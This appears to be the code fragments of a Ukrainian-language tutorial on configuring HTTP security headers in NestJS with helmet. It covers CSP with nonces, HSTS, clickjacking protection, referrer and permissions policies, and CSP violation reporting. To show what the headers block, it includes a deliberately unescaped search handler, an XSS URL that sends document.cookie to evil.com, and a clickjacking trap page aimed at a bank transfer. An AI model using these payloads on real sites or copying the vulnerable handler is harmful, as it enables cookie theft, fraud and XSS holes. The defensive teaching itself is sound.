// src/main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import helmet from 'helmet';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  // Увімкнути всі security headers з конфігурацією за замовчуванням
  app.use(helmet());

  await app.listen(3000);
}
bootstrap();

// ❌ НЕБЕЗПЕЧНО: виведення некерованого HTML
@Get('search')
search(@Query('q') query: string) {
  // Якщо query = "<script>alert('XSS')</script>"
  return `<h1>Результати для: ${query}</h1>`; // Виконається script!
}

https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

// src/main.ts
import helmet from 'helmet';

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"], // Базово — лише поточний домен
      scriptSrc: [
        "'self'",
        "https://cdn.jsdelivr.net",  // CDN для бібліотек
        "https://cdn.example.com",   // Ваш CDN для frontend assets
      ],
      styleSrc: [
        "'self'",
        "'unsafe-inline'", // ⚠️ Потрібно для styled-components, CSS-in-JS
        "https://fonts.googleapis.com",
      ],
      imgSrc: [
        "'self'",
        "data:",              // Base64 encoded images
        "https:",             // Будь-які HTTPS зображення
      ],
      fontSrc: [
        "'self'",
        "https://fonts.gstatic.com",
      ],
      connectSrc: [
        "'self'",
        "https://api.example.com",    // Ваш API
        "wss://realtime.example.com", // WebSocket сервер
      ],
      frameAncestors: ["'none'"], // Заборона вбудовування у iframe
      objectSrc: ["'none'"],      // Заборона Flash та інших плагінів
      upgradeInsecureRequests: [], // Автоматично оновлювати HTTP → HTTPS
    },
  })
);

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: [
        "'self'",
        "'nonce-GENERATED_NONCE'", // Динамічний nonce для кожного запиту
      ],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
    },
  })
);

// src/middleware/csp.middleware.ts
import { Injectable, NestMiddleware } from '@nestjs/common';
import { Request, Response, NextFunction } from 'express';
import crypto from 'crypto';

@Injectable()
export class CspMiddleware implements NestMiddleware {
  use(req: Request, res: Response, next: NextFunction) {
    // Генеруємо унікальний nonce для цього запиту
    const nonce = crypto.randomBytes(16).toString('base64');
    
    // Зберігаємо у res.locals для використання у шаблонах
    res.locals.cspNonce = nonce;

    // Встановлюємо CSP header з цим nonce
    res.setHeader(
      'Content-Security-Policy',
      `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'`
    );

    next();
  }
}

<!-- Браузер дозволить виконання лише scripts з правильним nonce -->
<script nonce="<%= cspNonce %>">
  window.__INITIAL_STATE__ = { user: { id: 123 } };
</script>

<!-- evil.com/trap.html -->
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.01; /* Майже невидимий */
    z-index: 9999;
  }
</style>

<h1>Виграй iPhone! Натисни тут 👇</h1>
<button>Отримати приз</button>

<!-- Ваша справжня сторінка -->
<iframe src="https://bank.com/transfer?to=attacker&amount=1000"></iframe>

// src/main.ts
app.use(
  helmet({
    frameguard: {
      action: 'deny', // Повна заборона iframe
    },
  })
);

X-Frame-Options: DENY

helmet.contentSecurityPolicy({
  directives: {
    frameAncestors: [
      "'self'",
      "https://oauth.example.com", // Дозволити OAuth провайдеру
    ],
  },
});

1. Користувач вводить: http://bank.com
2. Сервер відповідає: 301 Redirect → https://bank.com
3. Браузер відправляє запит на https://bank.com

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

// src/main.ts
app.use(
  helmet({
    hsts: {
      maxAge: 31536000,        // 1 рік (у секундах)
      includeSubDomains: true, // Застосувати до всіх піддоменів
      preload: true,           // Додати до HSTS Preload List
    },
  })
);

// src/main.ts
const isProduction = process.env.NODE_ENV === 'production';

app.use(
  helmet({
    hsts: isProduction
      ? {
          maxAge: 31536000,
          includeSubDomains: true,
          preload: true,
        }
      : false, // Вимкнути HSTS у dev/staging
  })
);

// src/main.ts
app.use(
  helmet({
    noSniff: true, // За замовчуванням увімкнено у helmet()
  })
);

X-Content-Type-Options: nosniff

https://medical.com/patients/12345/diagnosis?disease=diabetes

Referer: https://medical.com/patients/12345/diagnosis?disease=diabetes

// src/main.ts
app.use(
  helmet({
    referrerPolicy: {
      policy: 'strict-origin-when-cross-origin',
    },
  })
);

referrerPolicy: {
  policy: 'strict-origin-when-cross-origin',
}

referrerPolicy: {
  policy: 'no-referrer',
}

// src/main.ts
app.use(
  helmet({
    permissionsPolicy: {
      features: {
        camera: ["'none'"],        // Повна заборона камери
        microphone: ["'none'"],    // Повна заборона мікрофона
        geolocation: ["'self'"],   // Дозволити лише для поточного origin
        payment: ["'self'", "https://trusted-payment.com"], // Whitelist для payment API
        fullscreen: ["'self'"],    // Fullscreen лише для поточного origin
        syncXhr: ["'none'"],       // Заборона синхронних XHR (deprecated API)
      },
    },
  })
);

Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=(self "https://trusted-payment.com"), fullscreen=(self), sync-xhr=()

permissionsPolicy: {
  features: {
    camera: ["'self'"],              // Дозволити камеру для поточного origin
    microphone: ["'self'"],          // Дозволити мікрофон
    displayCapture: ["'self'"],      // Screen sharing
    geolocation: ["'none'"],         // Не потрібна геолокація
    payment: ["'none'"],             // Не потрібні платежі
  },
}

// src/main.ts
app.use(
  helmet({
    dnsPrefetchControl: {
      allow: false, // Вимкнути DNS prefetch
    },
  })
);

X-DNS-Prefetch-Control: off

// src/config/helmet.config.ts
import { HelmetOptions } from 'helmet';

export const helmetConfig: HelmetOptions = {
  // Content Security Policy
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: [
        "'self'",
        "https://cdn.jsdelivr.net",
        "https://cdn.example.com",
      ],
      styleSrc: [
        "'self'",
        "'unsafe-inline'", // Для CSS-in-JS (React styled-components)
        "https://fonts.googleapis.com",
      ],
      imgSrc: ["'self'", "data:", "https:"],
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      connectSrc: [
        "'self'",
        "https://api.example.com",
        "wss://realtime.example.com",
      ],
      frameAncestors: ["'none'"], // Заборона iframe
      objectSrc: ["'none'"],
      upgradeInsecureRequests: [],
    },
  },

  // HTTP Strict Transport Security
  hsts: {
    maxAge: 31536000,        // 1 рік
    includeSubDomains: true,
    preload: true,
  },

  // Clickjacking protection
  frameguard: {
    action: 'deny',
  },

  // MIME sniffing protection
  noSniff: true,

  // Referrer policy
  referrerPolicy: {
    policy: 'strict-origin-when-cross-origin',
  },

  // Permissions policy
  permissionsPolicy: {
    features: {
      camera: ["'none'"],
      microphone: ["'none'"],
      geolocation: ["'self'"],
      payment: ["'self'"],
      usb: ["'none'"],
      fullscreen: ["'self'"],
    },
  },

  // DNS prefetch control
  dnsPrefetchControl: {
    allow: false,
  },

  // Видалити X-Powered-By header
  hidePoweredBy: true,

  // Cross-Origin policies
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: { policy: 'same-origin' },
  crossOriginResourcePolicy: { policy: 'same-origin' },
};

// src/main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import helmet from 'helmet';
import { helmetConfig } from './config/helmet.config';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  // Умовне увімкнення для продакшену
  if (process.env.NODE_ENV === 'production') {
    app.use(helmet(helmetConfig));
  } else {
    // У розробці — м'якіші обмеження
    app.use(
      helmet({
        contentSecurityPolicy: false, // Вимкнути CSP (для HMR)
        hsts: false,                  // Вимкнути HSTS (немає HTTPS)
      })
    );
  }

  await app.listen(3000);
}
bootstrap();

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(self)

Refused to load the script 'https://evil.com/malware.js' 
because it violates the following Content Security Policy directive: 
"script-src 'self' https://cdn.example.com"

// src/main.ts
app.use(
  helmet.contentSecurityPolicy({
    reportOnly: true, // Лише логувати порушення, не блокувати
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      reportUri: '/api/csp-report', // Endpoint для отримання звітів
    },
  })
);

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://cdn.example.com; report-uri /api/csp-report

// src/csp/csp-report.controller.ts
import { Controller, Post, Body, Logger } from '@nestjs/common';

@Controller('api/csp-report')
export class CspReportController {
  private logger = new Logger('CSP');

  @Post()
  handleReport(@Body() report: any) {
    this.logger.warn('CSP violation detected:', JSON.stringify(report, null, 2));
    
    // Зберегти у базу даних або надіслати до Sentry
    // await this.monitoringService.logCspViolation(report);

    return { received: true };
  }
}

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self' https://cdn.example.com",
    "blocked-uri": "https://malicious.com/evil.js",
    "source-file": "https://example.com/page",
    "line-number": 42,
    "column-number": 15
  }
}

contentSecurityPolicy: {
  reportOnly: true,
  directives: { /* ваша політика */ },
}

contentSecurityPolicy: {
  reportOnly: false,
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.example.com", "'unsafe-inline'"], // Тимчасово
  },
}

contentSecurityPolicy: {
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.example.com"], // Без unsafe-inline
  },
}

// src/csp/csp-report.service.ts
import { Injectable } from '@nestjs/common';
import * as Sentry from '@sentry/node';

@Injectable()
export class CspReportService {
  logViolation(report: any) {
    const cspReport = report['csp-report'];

    // Відправити до Sentry
    Sentry.captureMessage('CSP Violation', {
      level: 'warning',
      tags: {
        type: 'csp-violation',
        violatedDirective: cspReport['violated-directive'],
      },
      extra: {
        blockedUri: cspReport['blocked-uri'],
        documentUri: cspReport['document-uri'],
        sourceFile: cspReport['source-file'],
        lineNumber: cspReport['line-number'],
      },
    });
  }
}

@Controller('api/csp-report')
export class CspReportController {
  constructor(private cspReportService: CspReportService) {}

  @Post()
  handleReport(@Body() report: any) {
    this.cspReportService.logViolation(report);
    return { received: true };
  }
}

// src/monitoring/security-headers.metrics.ts
import { Injectable } from '@nestjs/common';
import { Counter } from 'prom-client';

@Injectable()
export class SecurityHeadersMetrics {
  private cspViolationsCounter = new Counter({
    name: 'csp_violations_total',
    help: 'Total number of CSP violations',
    labelNames: ['violated_directive', 'blocked_uri'],
  });

  recordCspViolation(violatedDirective: string, blockedUri: string) {
    this.cspViolationsCounter.inc({
      violated_directive: violatedDirective,
      blocked_uri: blockedUri,
    });
  }
}

# Кількість CSP порушень за останню годину
rate(csp_violations_total[1h])

# Топ-5 джерел порушень
topk(5, sum by (blocked_uri) (csp_violations_total))

app.use(
  helmet({
    contentSecurityPolicy: false, // Не потрібен для JSON API
    hsts: {
      maxAge: 31536000,
      includeSubDomains: true,
    },
    frameguard: { action: 'deny' },
    noSniff: true,
    referrerPolicy: { policy: 'no-referrer' },
    permissionsPolicy: {
      features: {
        camera: ["'none'"],
        microphone: ["'none'"],
        geolocation: ["'none'"],
      },
    },
  })
);

// api.example.com
app.use(
  helmet({
    contentSecurityPolicy: false, // Frontend налаштовує свій CSP
    hsts: { maxAge: 31536000, includeSubDomains: true },
    frameguard: { action: 'deny' },
  })
);

# app.example.com
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com; connect-src https://api.example.com" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;

// src/main.ts
import crypto from 'crypto';

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;

  res.setHeader(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com`
  );

  next();
});

app.use(helmet({ contentSecurityPolicy: false })); // CSP вже налаштований вище

app.use(
  helmet({
    frameguard: false, // Вимкнути X-Frame-Options
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        frameAncestors: [
          "'self'",
          "https://oauth-provider.com",
          "https://partner-site.com",
        ],
      },
    },
  })
);

// src/main.ts
const isDev = process.env.NODE_ENV === 'development';

app.use(
  helmet({
    contentSecurityPolicy: isDev
      ? false // Вимкнути у dev режимі
      : {
          directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "https://cdn.example.com"],
          },
        },
  })
);

const isProduction = process.env.NODE_ENV === 'production';

app.use(
  helmet({
    hsts: isProduction
      ? { maxAge: 31536000, includeSubDomains: true }
      : false, // Вимкнути у dev
  })
);

contentSecurityPolicy: {
  directives: {
    styleSrc: ["'self'", "'unsafe-inline'"], // Для CSS-in-JS
  },
}

contentSecurityPolicy: {
  directives: {
    styleSrc: ["'self'", "https://fonts.googleapis.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
  },
}

app.use(
  helmet({
    frameguard: false, // Вимкнути X-Frame-Options
    contentSecurityPolicy: {
      directives: {
        frameAncestors: ["'self'"], // Використовувати CSP
      },
    },
  })
);